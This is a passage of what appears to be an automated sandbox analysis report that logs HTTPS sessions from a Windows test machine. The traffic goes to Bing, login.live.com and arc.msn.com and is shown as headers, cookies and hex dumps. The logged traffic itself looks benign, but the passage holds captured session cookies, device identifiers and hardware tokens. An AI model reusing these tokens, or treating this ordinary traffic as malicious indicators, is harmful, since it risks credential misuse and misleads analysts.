wa6kKasVyy/%2BEi0OU1v98QUKAuM4aKCOzTWw%2BtmELqA3bhLB2m9xsH%2BOVfDNm%2BbaKt4sDB9R
oFY7EYVPG4k/c761m%2BRLxkRa/Ir/QrkUODSY/KIghkYO96sQAQdUmLDBgZ61OXTT644iE4DZgAACCZ24AeDlJNVq
AFvHXfjbkIAfwcuEyH6av35yBTV4VojYUIApTKmJ2S%2BtkxqAh9rUOw2HxPMfan0bmxSuqaB2w2uTINu9uWFLbqBm
qqLhQGRhQzURQPZhTm6UaP/OVev4TiBVL50icRRGNt0giUIXtqvZ4TNyL1LVvdk8KXNg7t/YDUh5pK5rOUWzdgA8bv
gC%2BAJqJ1Wbdlbv/KcooFoa3rs5Q%2BdHw4/dlSnFnBy2225zapf9rf7oU/GrCHqIl5Ju5FL16X1O8FGOf89NNfrr
bfkr%2BC/TrBNGg1aAtMm%2BxZ82RbtJt%2BBLOqEV9hB%2B0ois3q0/rerlznNAYv9DJRDIbCAhmISyNbCR6HYhH5
eHIQdlmUugwtmKNAJXjGbnc6UJ7iVabuWqAqBDhlhgHjo7tUplfqJZOQ/haBui6F/0H0iea1QdLjnshiOkaBQVhgwG
wj/Jb9W5fX6wzDHFxyQv%2BJwdrCs7Tlz%2BBwQKMxaPo5qSvk1K%2BqAHcGb2%2BNomWDOcIyirH6tSTzUuTJ/nfr
UEzRKTu4fZqxcnN/fHKQHNx%2BrADAm4YPBCvMXZcXJEYreR6nu1wE%3D%26p%3D
X-Agent-DeviceId: 0100748C09004E33
X-BM-CBT: 1654707220
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
X-Device-isOptin: true
Accept-language: en-US, en
X-Device-IsEnergyHero: false
X-Device-Touch: false
X-Device-ClientSession: AAA05D4B02704ADDB5E6E481F7AFC561
X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI
X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader
Host: www.bing.com
Connection: Keep-Alive
Cookie: MUID=1E17B9B70E9B4C6E957D159ED3646FFF

2022-06-08 07:54:37 UTC 1006 IN HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache
Pragma: no-cache
Content-Length: 311
Content-Type: application/json; charset=utf-8
Expires: -1
P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND"
Set-Cookie: SUID=M; domain=.bing.com; expires=Thu, 09-Jun-2022 07:54:37 GMT; path=/; HttpOnly
Set-Cookie: MUIDB=1E17B9B70E9B4C6E957D159ED3646FFF; expires=Mon, 03-Jul-2023 07:54:37 GMT; path=/; H
ttpOnly
Set-Cookie: _EDGE_S=SID=288DE4BC463169F73D9CF50147F16815&mkt=en-us&ui=en-us; domain=.bing.com; path=/; 
HttpOnly
Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Sat, 08-Jun-2024 07:54:37 GMT; path=/
Set-Cookie: SRCHUID=V=2&GUID=E54ADF0E3F224E84AD62FA589B0B3A6B&dmnchg=1; domain=.bing.com; 
expires=Sat, 08-Jun-2024 07:54:37 GMT; path=/
Set-Cookie: SRCHUSR=DOB=20220608; domain=.bing.com; expires=Sat, 08-Jun-2024 07:54:37 GMT; path=/
Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Sat, 08-Jun-2024 07:54:37 GMT; path=/
Set-Cookie: ANON=A=E6EAEF30D7E9C145923C068AFFFFFFFF; domain=.bing.com; expires=Sat, 08-Jun-2024 07:5
4:37 GMT; path=/
Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/
Set-Cookie: _SS=SID=288DE4BC463169F73D9CF50147F16815; domain=.bing.com; path=/
Set-Cookie: BM-Identity-Error=3002; domain=.bing.com; expires=Wed, 08-Jun-2022 07:59:37 GMT; path=/
X-SNR-Routing: 1
X-XSS-Protection: 0
X-Search-ErrorInfo: Error:3002,Message:'FB ID missing'
X-Cache: CONFIG_NOCACHE
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-
CH-UA-Platform, Sec-CH-UA-Platform-Version
X-MSEdge-Ref: Ref A: D7BD2C812DCF450D935D33B9C6FBFEA1 Ref B: VIEEDGE1808 Ref C: 2022-06-08T07:54:37Z
Date: Wed, 08 Jun 2022 07:54:37 GMT
Connection: close

2022-06-08 07:54:37 UTC 1008 IN Data Raw: 7b 22 42 61 73 65 50 61 67 65 22 3a 7b 22 52 65 73 6f 75 72 63 65 73 22 3a 7b 22 53 74 79 6c 65 73 22 3a 
7b 22 43 73 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 43 73 73 48 65 61 64 4f 76 65 72 72 69 64 65 22 3a 7b 
7d 7d 2c 22 53 63 72 69 70 74 73 22 3a 7b 22 4a 73 48 65 61 64 54 6f 70 6d 6f 73 74 22 3a 7b 7d 2c 22 4a 73 48 65 61 6
4 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 4a 73 45 6e 64 4f 66 43 68 75 6e 6b 22 3a 7b 7d 2c 22 4a 73 42 65 66 6f 72 65 43 
6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 
4f 6e 4c 6f 61 64 22 3a 
Data Ascii: {"BasePage":{"Resources":{"Styles":{"CssHeadNormal":{},"CssHeadOverride":{}},"Scripts":{"JsHeadTopmost":
{},"JsHeadNormal":{},"JsEndOfChunk":{},"JsBeforeContent":{},"JsAfterContent":{},"JsAfterOnLoad":

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:54:37 UTC 1008 IN Data Raw: 7b 7d 7d 7d 7d 2c 22 41 6e 73 77 65 72 73 22 3a 5b 5d 2c 22 43 6f 6e 66 69 67 22 3a 7b 22 50 72 65 66 65 74 
63 68 49 6e 74 65 72 76 61 6c 22 3a 37 32 30 2c 22 42 61 73 65 50 61 67 65 54 54 4c 22 3a 37 32 30 7d 2c 22 49 47 22 
3a 22 35 30 45 42 37 43 39 32 39 41 33 38 34 33 46 41 42 38 30 45 41 33 38 45 35 38 46 39 45 42 42 46 22 7d 
Data Ascii: {}}}},"Answers":[],"Config":{"PrefetchInterval":720,"BasePageTTL":720},"IG":"50EB7C929A3843FAB80EA
38E58F9EBBF"}

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

51 192.168.2.3 49778 40.126.32.138 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:55:17 UTC 1012 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29158.8; App svchost.exe, 1
0.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4796
Host: login.live.com

2022-06-08 07:55:17 UTC 1012 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2022-06-08 07:55:17 UTC 1017 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Wed, 08 Jun 2022 07:54:17 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: fecf3800-1c74-45ab-b8d3-2aa8b75d3139
PPServer: PPV: 30 H: BL02PF74C6425E2 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Wed, 08 Jun 2022 07:55:16 GMT
Connection: close
Content-Length: 11093

2022-06-08 07:55:17 UTC 1017 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID Source IP Source Port Destination IP
Destination
Port

Process

52 192.168.2.3 49779 40.126.32.138 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:55:17 UTC 1028 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29158.8; App svchost.exe, 1
0.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4796
Host: login.live.com
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2022-06-08 07:55:17 UTC 1029 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2022-06-08 07:55:17 UTC 1033 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Wed, 08 Jun 2022 07:54:17 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: b5fa1c01-0941-4be7-bfd8-e08cad1c9ecb
PPServer: PPV: 30 H: BL02PFB23B13FC0 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Wed, 08 Jun 2022 07:55:17 GMT
Connection: close
Content-Length: 11093

2022-06-08 07:55:17 UTC 1034 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

53 192.168.2.3 49780 20.40.136.238 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:55:17 UTC 1045 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220608T165516Z&lc=en-US&pl=en-US&i
dtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=fa40a53f8d124310a2829b47a4cb1dc7&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1550855&metered=false&nettype=ethernet&npid=sc-
280815&oemName=dvtdma%2C%20Inc.&oemid=dvtdma%2C%20Inc.&ossku=Professional&smBiosDm=dvtdma7
%2C1&tl=2&tsu=1550855&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAUq9+Om9gS1B07miEkRESJ
zn1ngtMHI+BdxLUeOr9a0momEG+B4rv47QolfsiZSx1Hfe3Zhp2N6Z+eOMd4/Fj9SxpRfFmw4LSrPlpauvPPuvCrBb
0nHKfVilROYFYXvmf7o9i/8JV8qUfpGmoXhYcKc56hfzx4NCNiUGxFRXGDB44U6T7SXYJU3kyvGcNxIhtkyKvgFJGU
NmYbwfpGVUOIWYFkmFSerhJbkZ1Xo5T0A/vFJtsuti05QIVlurnP6LIIoNk0RoxKS4veZqAoA3EVidid5Dyrl9pRk4
xxMgZ6APeImK4Boo9XtiPg0lee00YRGTgSOQLFuLeUyktfLMDrEDZgAACNh+50jdA5P2qAEVaZF8xbnr0hH0m49Trg
nixhq7kvEDXn3MK+kfUcwRw8wPmEAuwcz7k9DZE9p/w1telgcNOxcLXkavKg/sJiAIssy7ZObZELSNQ22cX3veN8bj
kP9vquJm1NX4u4KVmHeqILbFQUtJr//HQsBxHhiSzwF8jDwjb4RYRwcS8IffJ3anGy989Vpj+pRqYlZQ51Gn/nXdQL
dTFKe2XyZXD5diVWhisTbuDjhw0xWsO7WgdGKdm67EpV01P9e4BRHJdrQJNPuRaPiWWggTNh/cHfTZ11b7equMY2XZ
9HzukWjEyl4y+V2aCFoIsLyM9SKbG+jT5LWexPbvbdHHBk+Vw6udZWyuZtBOZjcvIJty3o3AW9fvRTtJePgYgXIipt
6Wiq/BUCbTe0tHrlbb/cXmQfuR7/JwdyeAgBnBB/fr4p1Ywojhw4HDl/Srj7mn378FImb9BvpvmuZTG6mmYfuka7ij
Q4SLc+NrZCCz2QtAM4R64uG0NfA4J+O0l2UzuCz/4rnqIwuwl15RmmzzUAfqXhwjth6az81AgKrqw4nmlm7NjvadlV
3xUTPU1wE=&p=
Cache-Control: no-cache
MS-CV: d9koyF4tKEOykR65.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

Copyright Joe Security LLC 2022 Page 108 of 211



2022-06-08 07:55:18 UTC 1049 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 3047
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T700333390-C128000000001627409+B+P20+S1"},{"OPTOUTST
ATE":"256"}]
X-ARC-SIG: dobtkIo44d8HjhZZGp7LXc6ug4xNgwg1/q5/BJTa2kesLaGMcdNKEZI4PpPmPHgUlFa2y/6VFW0YWhL
mPvUSborzujUJyOGqm6o8kMvlSbq3fv4tivEnxyBTCbsKTiylokwEUxROqqRoZGGBc3gW0BaTZiErACrU+o6UiyvWN
x2X7oxy8XMJovmoZMUkPQnUkBaaJWAeP+xP5wINXOD9b+ub1EwLvEZf37mCLhfGtNRBqGUIHnErvKBIR
UwvQAp4oUsLckCc+TXVh6vxLp3A8A4/plU4TxNjFiArsJFQGMTpldiE0BPoU+rJQOBO17tNvrnUEULuFDVGR/tVnj/03Q==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Wed, 08 Jun 2022 07:55:17 GMT
Connection: close

2022-06-08 07:55:18 UTC 1050 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 
66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 
5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

54 192.168.2.3 49781 20.40.136.238 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:55:17 UTC 1047 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220608T165516Z&lc=en-US&pl=en-US&i
dtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=e1b9273213d540a2944deefca2f77cd3&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1550855&metered=false&nettype=ethernet&npid=sc-
338389&oemName=dvtdma%2C%20Inc.&oemid=dvtdma%2C%20Inc.&ossku=Professional&smBiosDm=dvtdma7
%2C1&tl=2&tsu=1550855&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAcoT2xWTT8B4K6mtV5tIxG
nC02GsRTU5yPFjb99UFYSlBGueIufF+PeDs0KJm0UB16pQqaMLUESx/ANwPw5stibNwfwd9LWR2Q5aFKB9H9Rq8Tbk
3/xUUTY2u3zeLajotcveWFy679D3IsrJFTmjG7M/6GaZLgqr6QINPT03fkqsS26Tp07Th+SBiZqmx/MbLhlctmjW3M
Gi825F8UfJCa3CxpUuWd75pk5HdggWwSBHrxQOv1LVEDUxS/Pai3pm2PaDkYwpfql6nei57WW49GDgqvogInmB3zgY
EzdULPmE/a5Rih3n0rjNpEcge+HDy1vOkoA0TC5cKeYNwrDm2BIDZgAACEyz1f8DUxL5qAGoD//34iGMkGey+aS9xE
e8eMTTjFWGRY8gbsBwj82QydScUJb2HDyhhjWsP4VqKqUOPW0sncGla0wqHbo64v/Im3siKy1KgLczIhzeRnzt2nbG
iY79mMRHXiuCcxEF87VXEmFYhSM3XFqSCwL6DWJot8JBA59TWqAB/6pVOqU41uoSXfNlktNNO0CYJ8WW
zLTya+rwDt+v3+1lxrMwMt7SQABErYSrOWFQGCto1ommHx7sk+i+warsWTYG4tWvNTvHUdXwGz7PlCBRtGtgMR48tD
zA5QMUK78w3PJanEXTA7fQmFY2NK63UiVzOjnDpsJ1cYy57ekYQVGi+MHr2ZW2PxDRFh3pJiHuJ8Mnnp
W+ERi9WFYcfAXbgg3xPTx29VBNQXl2aB1OHc1U5LgQE3lVAYAL4vZCQ7Ig1TDQW9K4VYkYWfSKC/emaTIpSh5J2R49
hKScsJ7MSsbXHqNnlp2Avfn4r4vif+rsmfjPgcXzPwrJYQXP3BHg9WBAe9Yfqib46FBcghjaZzYIdVOhtPUnjOFuTw
l0lj78G6q6KZHNQKGmqX1RhD/l1wE=&p=
Cache-Control: no-cache
MS-CV: d9koyF4tKEOykR65.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive
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2022-06-08 07:55:18 UTC 1053 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 3047
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T700333446-C128000000001627409+B+P10+S1"},{"OPTOUTST
ATE":"256"}]
X-ARC-SIG: gwum+oZ03WlidN4X4SEw3mcvt81pnbV5ywD0YOTWTIlbTz3xitEpOYI51joAjclQ7r9lPeC16K+hmzU
uwvaaxWQ0wOoqXZ79azmsiQGlG8CkOd7odjxwfusbhvFmukbS0beqdj/F4jBqnX54H7kTXDeMBlWT/PJkZ1d6MPu9H
44zF151vG6iflQR45l0l1udeIG+drZoorrPBxpxNHe64HTkSbVY9YDd+dlqz073y+a3fdfLjTPPbE4pXGgHsouwDv+
g2vvyIVsSPkOxjA/KM8I2jGX99N+jF62dlDjbTYzz+99I6rT08+1PmVg1T3aPzoHDfxcL9+NBnsv89XT8lg==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Wed, 08 Jun 2022 07:55:17 GMT
Connection: close

2022-06-08 07:55:18 UTC 1054 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 
66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 
5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

55 192.168.2.3 49784 20.40.136.238 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

